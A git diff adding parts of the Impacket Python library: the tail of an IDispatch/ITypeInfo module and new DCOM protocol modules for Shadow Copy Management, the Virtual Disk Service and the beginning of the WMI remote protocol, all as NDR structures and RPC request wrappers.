+        funcDesc.dump()
+        print('='*80)
+        if names['pcNames'] > 0:
+            name = names['rgBstrNames'][0]['asData']
+            methods[name] = {}
+            for param in range(1, names['pcNames']):
+                methods[name][names['rgBstrNames'][param]['asData']] = ''
+        if funcDesc['ppFuncDesc']['elemdescFunc'] != NULL:
+            methods[name]['ret'] = funcDesc['ppFuncDesc']['elemdescFunc']['tdesc']['vt']
+
+    return methods
+
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+class ITypeComp(IRemUnknown2):
+    def __init__(self, interface):
+        IRemUnknown2.__init__(self,interface)
+        self._iid = IID_ITypeComp
+
+class ITypeInfo(IRemUnknown2):
+    def __init__(self, interface):
+        IRemUnknown2.__init__(self,interface)
+        self._iid = IID_ITypeInfo
+
+    def GetTypeAttr(self):
+        request = ITypeInfo_GetTypeAttr()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def GetTypeComp(self):
+        request = ITypeInfo_GetTypeComp()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return ITypeComp(INTERFACE(self.get_cinstance(), b''.join(resp['ppTComp']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
+
+    def GetFuncDesc(self, index):
+        request = ITypeInfo_GetFuncDesc()
+        request['index'] = index
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def GetNames(self, memid, cMaxNames=10):
+        request = ITypeInfo_GetNames()
+        request['memid'] = memid
+        request['cMaxNames'] = cMaxNames
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def GetDocumentation(self, memid, refPtrFlags=15):
+        request = ITypeInfo_GetDocumentation()
+        request['memid'] = memid
+        request['refPtrFlags'] = refPtrFlags
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+
+class IDispatch(IRemUnknown2):
+    def __init__(self, interface):
+        IRemUnknown2.__init__(self,interface)
+        self._iid = IID_IDispatch
+
+    def GetTypeInfoCount(self):
+        request = IDispatch_GetTypeInfoCount()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def GetTypeInfo(self):
+        request = IDispatch_GetTypeInfo()
+        request['iTInfo'] = 0
+        request['lcid'] = 0
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return ITypeInfo(INTERFACE(self.get_cinstance(), b''.join(resp['ppTInfo']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
+
+    def GetIDsOfNames(self, rgszNames, lcid = 0):
+        request = IDispatch_GetIDsOfNames()
+        request['riid'] = IID_NULL
+        for name in rgszNames:
+            tmpName = LPOLESTR()
+            tmpName['Data'] = checkNullString(name)
+            request['rgszNames'].append(tmpName)
+        request['cNames'] = len(rgszNames)
+        request['lcid'] = lcid
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        IDs = list()
+        for id in resp['rgDispId']:
+            IDs.append(id)
+
+        return IDs
+
+    def Invoke(self, dispIdMember, lcid, dwFlags, pDispParams, cVarRef, rgVarRefIdx, rgVarRef):
+        request = IDispatch_Invoke()
+        request['dispIdMember'] = dispIdMember
+        request['riid'] = IID_NULL
+        request['lcid'] = lcid
+        request['dwFlags'] = dwFlags
+        request['pDispParams'] = pDispParams
+        request['cVarRef'] = cVarRef
+        request['rgVarRefIdx'] = rgVarRefIdx
+        request['rgVarRef'] = rgVarRefIdx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
diff --git a/impacket/dcerpc/v5/dcom/scmp.py b/impacket/dcerpc/v5/dcom/scmp.py
new file mode 100644
index 0000000..7a97fad
--- /dev/null
+++ b/impacket/dcerpc/v5/dcom/scmp.py
@@ -0,0 +1,340 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-SCMP]: Shadow Copy Management Protocol Interface implementation
+#              This was used as a way to test the DCOM runtime. Further
+#              testing is needed to verify it is working as expected
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Since DCOM is like an OO RPC, instead of helper functions you will see the
+#   classes described in the standards developed.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+from impacket.dcerpc.v5.ndr import NDRENUM, NDRSTRUCT, NDRUNION
+from impacket.dcerpc.v5.dcomrt import PMInterfacePointer, INTERFACE, DCOMCALL, DCOMANSWER, IRemUnknown2
+from impacket.dcerpc.v5.dtypes import LONG, LONGLONG, ULONG, WSTR
+from impacket.dcerpc.v5.enum import Enum
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket import hresult_errors
+from impacket.uuid import string_to_bin
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        if self.error_code in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] 
+            return 'SCMP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'SCMP SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 1.9 Standards Assignments
+CLSID_ShadowCopyProvider = string_to_bin('0b5a2c52-3eb9-470a-96e2-6c6d4570e40f')
+IID_IVssSnapshotMgmt = string_to_bin('FA7DF749-66E7-4986-A27F-E2F04AE53772')
+IID_IVssEnumObject   = string_to_bin('AE1C7110-2F60-11d3-8A39-00C04F72D8E3')
+IID_IVssDifferentialSoftwareSnapshotMgmt = string_to_bin('214A0F28-B737-4026-B847-4F9E37D79529')
+IID_IVssEnumMgmtObject = string_to_bin('01954E6B-9254-4e6e-808C-C9E05D007696')
+IID_ShadowCopyProvider = string_to_bin('B5946137-7B9F-4925-AF80-51ABD60B20D5')
+
+# 2.2.1.1 VSS_ID
+class VSS_ID(NDRSTRUCT):
+    structure = (
+        ('Data','16s=b""'),
+    )
+
+    def getAlignment(self):
+        return 2
+
+#2.2.1.2 VSS_PWSZ
+VSS_PWSZ = WSTR
+
+# 2.2.1.3 VSS_TIMESTAMP
+VSS_TIMESTAMP = LONGLONG
+
+error_status_t = LONG
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.2.1 VSS_OBJECT_TYPE Enumeration
+class VSS_OBJECT_TYPE(NDRENUM):
+    class enumItems(Enum):
+        VSS_OBJECT_UNKNOWN      = 0
+        VSS_OBJECT_NONE         = 1
+        VSS_OBJECT_SNAPSHOT_SET = 2
+        VSS_OBJECT_SNAPSHOT     = 3
+        VSS_OBJECT_PROVIDER     = 4
+        VSS_OBJECT_TYPE_COUNT   = 5
+
+# 2.2.2.2 VSS_MGMT_OBJECT_TYPE Enumeration
+class VSS_MGMT_OBJECT_TYPE(NDRENUM):
+    class enumItems(Enum):
+        VSS_MGMT_OBJECT_UNKNOWN     = 0
+        VSS_MGMT_OBJECT_VOLUME      = 1
+        VSS_MGMT_OBJECT_DIFF_VOLUME = 2
+        VSS_MGMT_OBJECT_DIFF_AREA   = 3
+
+# 2.2.2.3 VSS_VOLUME_SNAPSHOT_ATTRIBUTES Enumeration
+class VSS_VOLUME_SNAPSHOT_ATTRIBUTES(NDRENUM):
+    class enumItems(Enum):
+        VSS_VOLSNAP_ATTR_PERSISTENT        = 0x01
+        VSS_VOLSNAP_ATTR_NO_AUTORECOVERY   = 0x02
+        VSS_VOLSNAP_ATTR_CLIENT_ACCESSIBLE = 0x04
+        VSS_VOLSNAP_ATTR_NO_AUTO_RELEASE   = 0x08
+        VSS_VOLSNAP_ATTR_NO_WRITERS        = 0x10
+
+# 2.2.2.4 VSS_SNAPSHOT_STATE Enumeration
+class VSS_SNAPSHOT_STATE(NDRENUM):
+    class enumItems(Enum):
+        VSS_SS_UNKNOWN  = 0x01
+        VSS_SS_CREATED  = 0x0c
+
+# 2.2.2.5 VSS_PROVIDER_TYPE Enumeration
+class  VSS_PROVIDER_TYPE(NDRENUM):
+    class enumItems(Enum):
+        VSS_PROV_UNKNOWN  = 0
+
+# 2.2.3.7 VSS_VOLUME_PROP Structure
+class VSS_VOLUME_PROP(NDRSTRUCT):
+    structure = (
+        ('m_pwszVolumeName', VSS_PWSZ),
+        ('m_pwszVolumeDisplayName', VSS_PWSZ),
+    )
+
+# 2.2.3.5 VSS_MGMT_OBJECT_UNION Union
+class VSS_MGMT_OBJECT_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+    union = {
+        VSS_MGMT_OBJECT_TYPE.VSS_MGMT_OBJECT_VOLUME: ('Vol', VSS_VOLUME_PROP),
+        #VSS_MGMT_OBJECT_DIFF_VOLUME: ('DiffVol', VSS_DIFF_VOLUME_PROP),
+        #VSS_MGMT_OBJECT_DIFF_AREA: ('DiffArea', VSS_DIFF_AREA_PROP),
+    }
+
+# 2.2.3.6 VSS_MGMT_OBJECT_PROP Structure
+class VSS_MGMT_OBJECT_PROP(NDRSTRUCT):
+    structure = (
+        ('Type', VSS_MGMT_OBJECT_TYPE),
+        ('Obj', VSS_MGMT_OBJECT_UNION),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.3 IVssEnumMgmtObject Details
+
+# 3.1.3.1 Next (Opnum 3)
+class IVssEnumMgmtObject_Next(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('celt', ULONG),
+    )
+
+class IVssEnumMgmtObject_NextResponse(DCOMANSWER):
+    structure = (
+       ('rgelt', VSS_MGMT_OBJECT_PROP),
+       ('pceltFetched', ULONG),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.2.1 Next (Opnum 3)
+class IVssEnumObject_Next(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('celt', ULONG),
+    )
+
+class IVssEnumObject_NextResponse(DCOMANSWER):
+    structure = (
+       ('rgelt', VSS_MGMT_OBJECT_PROP),
+       ('pceltFetched', ULONG),
+       ('ErrorCode', error_status_t),
+    )
+
+class GetProviderMgmtInterface(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('ProviderId', VSS_ID),
+       ('InterfaceId', VSS_ID),
+    )
+
+class GetProviderMgmtInterfaceResponse(DCOMANSWER):
+    structure = (
+       ('ppItf', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+class QueryVolumesSupportedForSnapshots(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('ProviderId', VSS_ID),
+       ('IContext', LONG),
+    )
+
+class QueryVolumesSupportedForSnapshotsResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+class QuerySnapshotsByVolume(DCOMCALL):
+    opnum = 5
+    structure = (
+       ('pwszVolumeName', VSS_PWSZ),
+       ('ProviderId', VSS_ID),
+    )
+
+class QuerySnapshotsByVolumeResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.5 QueryDiffAreasForVolume (Opnum 6)
+class QueryDiffAreasForVolume(DCOMCALL):
+    opnum = 6
+    structure = (
+       ('pwszVolumeName', VSS_PWSZ),
+    )
+
+class QueryDiffAreasForVolumeResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.6 QueryDiffAreasOnVolume (Opnum 7)
+class QueryDiffAreasOnVolume(DCOMCALL):
+    opnum = 7
+    structure = (
+       ('pwszVolumeName', VSS_PWSZ),
+    )
+
+class QueryDiffAreasOnVolumeResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+}
+
+################################################################################
+# HELPER FUNCTIONS AND INTERFACES
+################################################################################
+class IVssEnumMgmtObject(IRemUnknown2):
+    def __init__(self, interface):
+        IRemUnknown2.__init__(self, interface)
+        self._iid = IID_IVssEnumMgmtObject
+
+    def Next(self, celt):
+        request = IVssEnumMgmtObject_Next()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        request['celt'] = celt
+        resp = self.request(request, self._iid, uuid = self.get_iPid())
+        return resp 
+
+class IVssEnumObject(IRemUnknown2):
+    def __init__(self, interface):
+        IRemUnknown2.__init__(self, interface)
+        self._iid = IID_IVssEnumObject
+
+    def Next(self, celt):
+        request = IVssEnumObject_Next()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        request['celt'] = celt
+        dce = self.connect()
+        resp = dce.request(request, self._iid, uuid = self.get_iPid())
+        return resp 
+
+class IVssSnapshotMgmt(IRemUnknown2):
+    def __init__(self, interface):
+        IRemUnknown2.__init__(self, interface)
+        self._iid = IID_IVssSnapshotMgmt
+
+    def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt):
+        req = GetProviderMgmtInterface()
+        classInstance = self.get_cinstance()
+        req['ORPCthis'] = classInstance.get_ORPCthis()
+        req['ORPCthis']['flags'] = 0
+        req['ProviderId'] = providerId
+        req['InterfaceId'] = interfaceId
+        resp = self.request(req, self._iid, uuid = self.get_iPid())
+        return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
+
+    def QueryVolumesSupportedForSnapshots(self, providerId, iContext):
+        req = QueryVolumesSupportedForSnapshots()
+        classInstance = self.get_cinstance()
+        req['ORPCthis'] = classInstance.get_ORPCthis()
+        req['ORPCthis']['flags'] = 0
+        req['ProviderId'] = providerId
+        req['IContext'] = iContext
+        resp = self.request(req, self._iid, uuid = self.get_iPid())
+        return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),target = self.get_target()))
+
+    def QuerySnapshotsByVolume(self, volumeName, providerId = IID_ShadowCopyProvider):
+        req = QuerySnapshotsByVolume()
+        classInstance = self.get_cinstance()
+        req['ORPCthis'] = classInstance.get_ORPCthis()
+        req['ORPCthis']['flags'] = 0
+        req['pwszVolumeName'] = volumeName
+        req['ProviderId'] = providerId
+        try:
+            resp = self.request(req, self._iid, uuid = self.get_iPid())
+        except DCERPCException as e:
+            print(e)
+            from impacket.winregistry import hexdump
+            data = e.get_packet()
+            hexdump(data)
+            kk = QuerySnapshotsByVolumeResponse(data)
+            kk.dump()
+        #resp.dump()
+        return IVssEnumObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
+
+class IVssDifferentialSoftwareSnapshotMgmt(IRemUnknown2):
+    def __init__(self, interface):
+        IRemUnknown2.__init__(self, interface)
+        self._iid = IID_IVssDifferentialSoftwareSnapshotMgmt
+
+    def QueryDiffAreasOnVolume(self, pwszVolumeName):
+        req = QueryDiffAreasOnVolume()
+        classInstance = self.get_cinstance()
+        req['ORPCthis'] = classInstance.get_ORPCthis()
+        req['ORPCthis']['flags'] = 0
+        req['pwszVolumeName'] = pwszVolumeName
+        resp = self.request(req, self._iid, uuid = self.get_iPid())
+        return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
+
+    def QueryDiffAreasForVolume(self, pwszVolumeName):
+        req = QueryDiffAreasForVolume()
+        classInstance = self.get_cinstance()
+        req['ORPCthis'] = classInstance.get_ORPCthis()
+        req['ORPCthis']['flags'] = 0
+        req['pwszVolumeName'] = pwszVolumeName
+        resp = self.request(req, self._iid, uuid = self.get_iPid())
+        return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
diff --git a/impacket/dcerpc/v5/dcom/vds.py b/impacket/dcerpc/v5/dcom/vds.py
new file mode 100644
index 0000000..81a9084
--- /dev/null
+++ b/impacket/dcerpc/v5/dcom/vds.py
@@ -0,0 +1,270 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-VDS]: Virtual Disk Service (VDS) Protocol
+#             This was used as a way to test the DCOM runtime. Further
+#             testing is needed to verify it is working as expected
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Since DCOM is like an OO RPC, instead of helper functions you will see the
+#   classes described in the standards developed.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantVaryingArray, NDRENUM
+from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE
+from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.enum import Enum
+from impacket import hresult_errors
+from impacket.uuid import string_to_bin
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        if self.error_code in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] 
+            return 'VDS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'VDS SessionError: unknown error code: 0x%x' % (self.error_code)
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 1.9 Standards Assignments
+CLSID_VirtualDiskService = string_to_bin('7D1933CB-86F6-4A98-8628-01BE94C9A575')
+IID_IEnumVdsObject = string_to_bin('118610B7-8D94-4030-B5B8-500889788E4E')
+IID_IVdsAdviseSink = string_to_bin('8326CD1D-CF59-4936-B786-5EFC08798E25')
+IID_IVdsAsync = string_to_bin('D5D23B6D-5A55-4492-9889-397A3C2D2DBC')
+IID_IVdsServiceInitialization = string_to_bin('4AFC3636-DB01-4052-80C3-03BBCB8D3C69')
+IID_IVdsService = string_to_bin('0818A8EF-9BA9-40D8-A6F9-E22833CC771E')
+IID_IVdsSwProvider = string_to_bin('9AA58360-CE33-4F92-B658-ED24B14425B8')
+IID_IVdsProvider = string_to_bin('10C5E575-7984-4E81-A56B-431F5F92AE42')
+
+error_status_t = ULONG
+
+# 2.2.1.1.3 VDS_OBJECT_ID
+VDS_OBJECT_ID = GUID
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.2.1.3.1 VDS_SERVICE_PROP
+class VDS_SERVICE_PROP(NDRSTRUCT):
+    structure = (
+        ('pwszVersion',LPWSTR),
+        ('ulFlags',ULONG),
+    )
+
+class OBJECT_ARRAY(NDRUniConformantVaryingArray):
+    item = PMInterfacePointer
+
+# 2.2.2.7.1.1 VDS_PROVIDER_TYPE
+class VDS_PROVIDER_TYPE(NDRENUM):
+    class enumItems(Enum):
+        VDS_PT_UNKNOWN     = 0
+        VDS_PT_SOFTWARE    = 1
+        VDS_PT_HARDWARE    = 2
+        VDS_PT_VIRTUALDISK = 3
+        VDS_PT_MAX         = 4
+
+# 2.2.2.7.2.1 VDS_PROVIDER_PROP
+class VDS_PROVIDER_PROP(NDRSTRUCT):
+    structure = (
+        ('id',VDS_OBJECT_ID),
+        ('pwszName',LPWSTR),
+        ('guidVersionId',GUID),
+        ('pwszVersion',LPWSTR),
+        ('type',VDS_PROVIDER_TYPE),
+        ('ulFlags',ULONG),
+        ('ulStripeSizeFlags',ULONG),
+        ('sRebuildPriority',SHORT),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+# 3.4.5.2.5.1 IVdsServiceInitialization::Initialize (Opnum 3)
+class IVdsServiceInitialization_Initialize(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('pwszMachineName', LPWSTR),
+    )
+
+class IVdsServiceInitialization_InitializeResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.4.5.2.4.1 IVdsService::IsServiceReady (Opnum 3)
+class IVdsService_IsServiceReady(DCOMCALL):
+    opnum = 3
+    structure = (
+    )
+
+class IVdsService_IsServiceReadyResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.4.5.2.4.2 IVdsService::WaitForServiceReady (Opnum 4)
+class IVdsService_WaitForServiceReady(DCOMCALL):
+    opnum = 4
+    structure = (
+    )
+
+class IVdsService_WaitForServiceReadyResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.4.5.2.4.3 IVdsService::GetProperties (Opnum 5)
+class IVdsService_GetProperties(DCOMCALL):
+    opnum = 5
+    structure = (
+    )
+
+class IVdsService_GetPropertiesResponse(DCOMANSWER):
+    structure = (
+       ('pServiceProp', VDS_SERVICE_PROP),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.4.5.2.4.4 IVdsService::QueryProviders (Opnum 6)
+class IVdsService_QueryProviders(DCOMCALL):
+    opnum = 6
+    structure = (
+        ('masks', DWORD),
+    )
+
+class IVdsService_QueryProvidersResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.1.1 IEnumVdsObject Interface
+# 3.4.5.2.1.1 IEnumVdsObject::Next (Opnum 3)
+class IEnumVdsObject_Next(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('celt', ULONG),
+    )
+
+class IEnumVdsObject_NextResponse(DCOMANSWER):
+    structure = (
+       ('ppObjectArray', OBJECT_ARRAY),
+       ('pcFetched', ULONG),
+       ('ErrorCode', error_status_t),
+    )
+# 3.4.5.2.14.1 IVdsProvider::GetProperties (Opnum 3)
+class IVdsProvider_GetProperties(DCOMCALL):
+    opnum = 3
+    structure = (
+    )
+
+class IVdsProvider_GetPropertiesResponse(DCOMANSWER):
+    structure = (
+       ('pProviderProp', VDS_PROVIDER_PROP),
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+}
+
+################################################################################
+# HELPER FUNCTIONS AND INTERFACES
+################################################################################
+class IEnumVdsObject(IRemUnknown2):
+    def Next(self, celt=0xffff):
+        request = IEnumVdsObject_Next()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        request['celt'] = celt
+        try:
+            resp = self.request(request, uuid = self.get_iPid())
+        except Exception as e:
+            resp = e.get_packet()
+            # If it is S_FALSE(1) means less items were returned
+            if resp['ErrorCode'] != 1:
+                raise
+        interfaces = list()
+        for interface in resp['ppObjectArray']:
+            interfaces.append(IRemUnknown2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target())))
+        return interfaces
+
+class IVdsProvider(IRemUnknown2):
+    def GetProperties(self):
+        request = IVdsProvider_GetProperties()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        resp = self.request(request, uuid = self.get_iPid())
+        return resp 
+
+class IVdsServiceInitialization(IRemUnknown2):
+    def __init__(self, interface):
+        IRemUnknown2.__init__(self, interface)
+
+    def Initialize(self):
+        request = IVdsServiceInitialization_Initialize()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        request['pwszMachineName'] = '\x00'
+        resp = self.request(request, uuid = self.get_iPid())
+        return resp 
+
+class IVdsService(IRemUnknown2):
+    def __init__(self, interface):
+        IRemUnknown2.__init__(self, interface)
+
+    def IsServiceReady(self):
+        request = IVdsService_IsServiceReady()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        try:
+            resp = self.request(request, uuid = self.get_iPid())
+        except Exception as e:
+            resp = e.get_packet()
+        return resp 
+
+    def WaitForServiceReady(self):
+        request = IVdsService_WaitForServiceReady()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        resp = self.request(request, uuid = self.get_iPid())
+        return resp 
+
+    def GetProperties(self):
+        request = IVdsService_GetProperties()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        resp = self.request(request, uuid = self.get_iPid())
+        return resp 
+
+    def QueryProviders(self, masks):
+        request = IVdsService_QueryProviders()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        request['masks'] = masks
+        resp = self.request(request, uuid = self.get_iPid())
+        return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
diff --git a/impacket/dcerpc/v5/dcom/wmi.py b/impacket/dcerpc/v5/dcom/wmi.py
new file mode 100644
index 0000000..502cb91
--- /dev/null
+++ b/impacket/dcerpc/v5/dcom/wmi.py
@@ -0,0 +1,3284 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol. Partial implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Since DCOM is like an OO RPC, instead of helper functions you will see the
+#   classes described in the standards developed.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+from struct import unpack, calcsize, pack
+from functools import partial
+import collections
+import collections.abc
+import logging
+import six
+
+from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRUniConformantVaryingArray, NDRUNION, \
+    NDRENUM
+from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown, PMInterfacePointer, INTERFACE, \
+    PMInterfacePointer_ARRAY, BYTE_ARRAY, PPMInterfacePointer, OBJREF_CUSTOM
+from impacket.dcerpc.v5.dcom.oaut import BSTR
+from impacket.dcerpc.v5.dtypes import ULONG, DWORD, NULL, LPWSTR, LONG, HRESULT, PGUID, LPCSTR, GUID
+from impacket.dcerpc.v5.enum import Enum
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket import hresult_errors, LOG
+from impacket.uuid import string_to_bin, uuidtup_to_bin
+from impacket.structure import Structure, hexdump
+
+
+def format_structure(d, level=0):
+    x = ""
+    if isinstance(d, collections.abc.Mapping):
+        lenk = max([len(str(x)) for x in list(d.keys())])
+        for k, v in list(d.items()):
+            key_text = "\n" + " "*level + " "*(lenk - len(str(k))) + str(k)
+            x += key_text + ": " + format_structure(v, level=level+lenk)
+    elif isinstance(d, collections.abc.Iterable) and not isinstance(d, str):
+        for e in d:
+            x += "\n" + " "*level + "- " + format_structure(e, level=level+4)
+    else:
+        x = str(d)
+    return x
+try:
+    from collections import OrderedDict
+except:
+    try:
+        from ordereddict.ordereddict import OrderedDict
+    except:
+        from ordereddict import OrderedDict
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        if self.error_code in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] 
+            return 'WMI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            # Let's see if we have it as WBEMSTATUS
+            try:
+                return 'WMI Session Error: code: 0x%x - %s' % (self.error_code, WBEMSTATUS.enumItems(self.error_code).name)
+            except:
+                return 'WMI SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# WMIO Structures and Constants
+################################################################################
+WBEM_FLAVOR_FLAG_PROPAGATE_O_INSTANCE      = 0x01
+WBEM_FLAVOR_FLAG_PROPAGATE_O_DERIVED_CLASS = 0x02
+WBEM_FLAVOR_NOT_OVERRIDABLE                = 0x10
+WBEM_FLAVOR_ORIGIN_PROPAGATED              = 0x20
+WBEM_FLAVOR_ORIGIN_SYSTEM                  = 0x40
+WBEM_FLAVOR_AMENDED                        = 0x80
+
+# 2.2.6 ObjectFlags
+OBJECT_FLAGS = 'B=0'
+
+#2.2.77 Signature
+SIGNATURE = '<L=0x12345678'
+
+# 2.2.4 ObjectEncodingLength
